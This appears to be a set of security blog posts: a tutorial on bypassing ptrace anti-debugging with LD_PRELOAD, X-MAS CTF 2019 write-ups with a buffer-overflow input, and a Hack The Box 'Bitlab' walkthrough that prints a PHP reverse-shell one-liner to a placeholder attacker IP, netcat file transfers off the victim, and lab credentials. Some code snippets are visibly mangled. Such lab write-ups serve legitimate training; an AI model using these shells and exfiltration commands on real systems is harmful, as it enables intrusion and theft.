Bypassing ptrace calls with LD_PRELOAD on Linux


Here’s a quick article on how to bypass calls to ptrace when debugging a Linux executable.

By calling ptrace with the PTRACE_TRACEME option, a process can detect if it’s being debugged and execute different instructions. This an effective anti-debugging technique.

For example, take the following C program:

#include <stdio.h>
#include <sys/ptrace.h>

int main() {
    if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {
      printf("I'm being debugged!n");
    } else {
      printf("Normal flown");
    return 0;

If we execute the program from above we get Normal flow on our screen but if we debug it with gdb we get Err: I'm being debugged!

root@kali:~/Downloads# strace ./a.out 
munmap(0x7fb7c945e000, 90919)           = 0
ptrace(PTRACE_TRACEME)                  = -1 EPERM (Operation not permitted)
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}) = 0
brk(NULL)                               = 0x55c2d37e6000
brk(0x55c2d3807000)                     = 0x55c2d3807000
write(1, "Err: I'm being debugged!n", 25Err: I'm being debugged!
) = 25
exit_group(0)                           = ?
+++ exited with 0 +++

To bypass this, we can use the LD_PRELOAD environment variable. It lets us control the loading path of a shared library, which allows us to stub out library functions such as ptrace.

We can create the following file:

long ptrace(int request, int pid, void *addr, void *data) {
    return 0;

And compile it as a shared library with the following command:

gcc -shared ptrace.c -o

Next, we can set the environment variable LD_PRELOAD using the following commands:

  • in the shell: export LD_PRELOAD=./
  • in gdb: set environment LD_PRELOAD=./


gdb-peda$ file a.out 
Reading symbols from a.out...
(No debugging symbols found in a.out)
gdb-peda$ r
Starting program: /root/Downloads/a.out 
Err: I'm being debugged!
[Inferior 1 (process 1939) exited normally]
Warning: not running
gdb-peda$ set environment LD_PRELOAD=./
gdb-peda$ r
Starting program: /root/Downloads/a.out 
Normal flow
[Inferior 1 (process 1946) exited normally]
Warning: not running

Thanks for reading!

X-MAS CTF 2019: Binary Exploiting & Reversing Write-Ups


Here are my write-ups for the X-MAS CTF 2019 organized by

Reversing: Santa’s crackme

Santa’s crackme is easy to solve when using Ghidra, all you need to do is open up the binary, read the code and use the XOR Memory script from Ghidra.

The flag is retrieved from flag_matrix and xored by 3.
Select the flag data, right click on Script Manager and execute the XorMemory script
We get the flag, except for the first character

Reversing: X-MAS: Lapland Mission

Since this is an Unity game we can easily patch it using dnSpy.

Open X-MAS Lapland MissionX-MAS_DataManagedAssembly-CSharp.dll and navigate to PlayerControl class and replace the Die() method with a simple return by clicking edit method and compile.

Play the game, kill all robots and get the flag.

Exploitation: SN0WVERFL0W

To get the flag we need to override the return address of the main function during the buffer overflow.

The buffer size is 10 bytes, the frame address is 8 bytes and the return address is also 8 bytes. We can use Python to create a file with the input we need to pass to the binary:

python -c "print('a'*10+'a'*8+'x56x11x40x00x00x00x00x00')" > in.txt

I’ve overridden the return address of main with the return address of the function which prints the flag, you can find that address by inspecting the binary in Ghidra.

Hack The Box – Bitlab


Here’s how I’ve solved the Bitlab machine on Hack The Box.

Gitlab Access

As usual we start of with a nmap scan:

root@kali:~# nmap -p- -sV
Nmap scan report for
Host is up (0.044s latency).
Not shown: 65533 filtered ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 221.44 seconds

The scan shows an nginx web server and ssh. If we visit the web server we’ll find a Gitlab instance. Gitlab is used by developers to host their source code. I tried searching for exploits but nothing came up.

Poking around the Gitlab page, if we navigate to the Help, we’ll find an bookmark which is obfuscated javascript code. We can copy the code, go back to Gilab’s login page and paste the JS into our dev console. The JS auto completes the login info and we get access to the Gitlab as the Developer.

javascript:(function(){ var _0x4b18=["x76x61x6Cx75x65","x75x73x65x72x5Fx6Cx6Fx67x69x6E","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x63x6Cx61x76x65","x75x73x65x72x5Fx70x61x73x73x77x6Fx72x64","x31x31x64x65x73x30x30x38x31x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()

Credentials: clave:11des0081x

Initial Shell

As the developer we find two code repos, Profile and Deploy. We only care about the Profile one, any edits we make to the repo get reflected in the page, because Gitlab auto deploy is configured that way.

Next, we can upload a php-reverse shell and gain a TCP shell over netcat:

On my attacking machine I run nc -nvlp 8080 and on the php reverse shell we run:

php -r '$sock=fsockopen("ATTACKING_IP", 8080);exec("/bin/sh -i <&3 >&3 2>&3");'

After I get the shell over netcat I turn it into a pty shell with the following command:

python -c 'import pty; pty.spawn("/bin/sh")'

I managed to transfer Linpeas by running python -m SimpleHTTPServer 8080 on my attacking machine in the linpeas directory and wget MY_IP/ on the victim machine.

User Shell

Linpeas spit some interesting output but nothing practical came out of it. So I went back to Gitlab and browsed into the snippets section.

There’s a script which leaks the password, ip and username of the profiles database. We can use that to query the database by ourselves by running this in the terminal:

p0wny@shell:/tmp# php -r '$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");$result = pg_query($db_connection, "SELECT * FROM profiles");print_r(pg_fetch_all($result));'
    [0] => Array
            [id] => 1
            [username] => clave
            [password] => c3NoLXN0cjBuZy1wQHNz==


We login via ssh as clave and password: c3NoLXN0cjBuZy1wQHNz==.

On Clave’s home dir we find a binary called RemoteConnection.exe, we can transfer that to our attacking machine by using the following commands:

# On the attacking machine
root@kali:~# nc -nvlp 8080 > file.exe
# On the victim
clave@bitlab:~$ nc -w 3 8080 < RemoteConnection.exe 

Root Shell

The root shell is gained by reversing the binary we extracted. Reversing is a bit much as we only need to step through it in the debugger. For debugging I’ve used x64dbg.

We can copy the root password from the debugger and voila, we got root.

EAX : 007FF8D0     &"-ssh root@gitlab.htb -pw "Qf7]8YSV.wDNF*[7d?j&eD4^""
EBX : 00000000
ECX : 99083A11
EDX : 00F90000
EBP : 007FF8FC
ESP : 007FF844
ESI : 007FF860
EDI : 007FF8D0     &"-ssh root@gitlab.htb -pw "Qf7]8YSV.wDNF*[7d?j&eD4^""
EIP : 00FD15E3     bitlabreverseengineering.00FD15E3


Bitlab was an easyish machine but with some weird decisions, for example Clave’s password was hidden as JS in the Help page of the Gitlab instance ???

The PHP auto-deploy was nice and the reversing part was kinda unnecessary, it woulda been much nicer if the reversing were more statically focused rather than dynamic.

Thanks for reading and have a great day! ❤